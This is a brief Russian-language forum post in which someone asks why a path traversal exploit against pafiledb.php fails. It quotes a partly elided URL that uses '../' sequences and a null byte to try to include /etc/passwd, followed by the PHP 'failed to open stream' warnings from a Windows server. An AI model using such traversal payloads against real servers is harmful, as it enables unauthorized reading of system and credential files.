Вроде есть сплоит
http://ля-ля/pafiledb.php?action=../...wd%00&login=do
можно смотреть каталоги
но не работает пишет

Warning: main(./includes/../../../../etc/passwd\0/login.php): failed to open stream: No such file or directory in d:\usr\www\download\index.php on line 25

Warning: main(): Failed opening './includes/../../../../etc/passwd\0/login.php' for inclusion (include_path='.;/usr/local/php/PEAR') in d:\usr\www\download\index.php on line 25

??????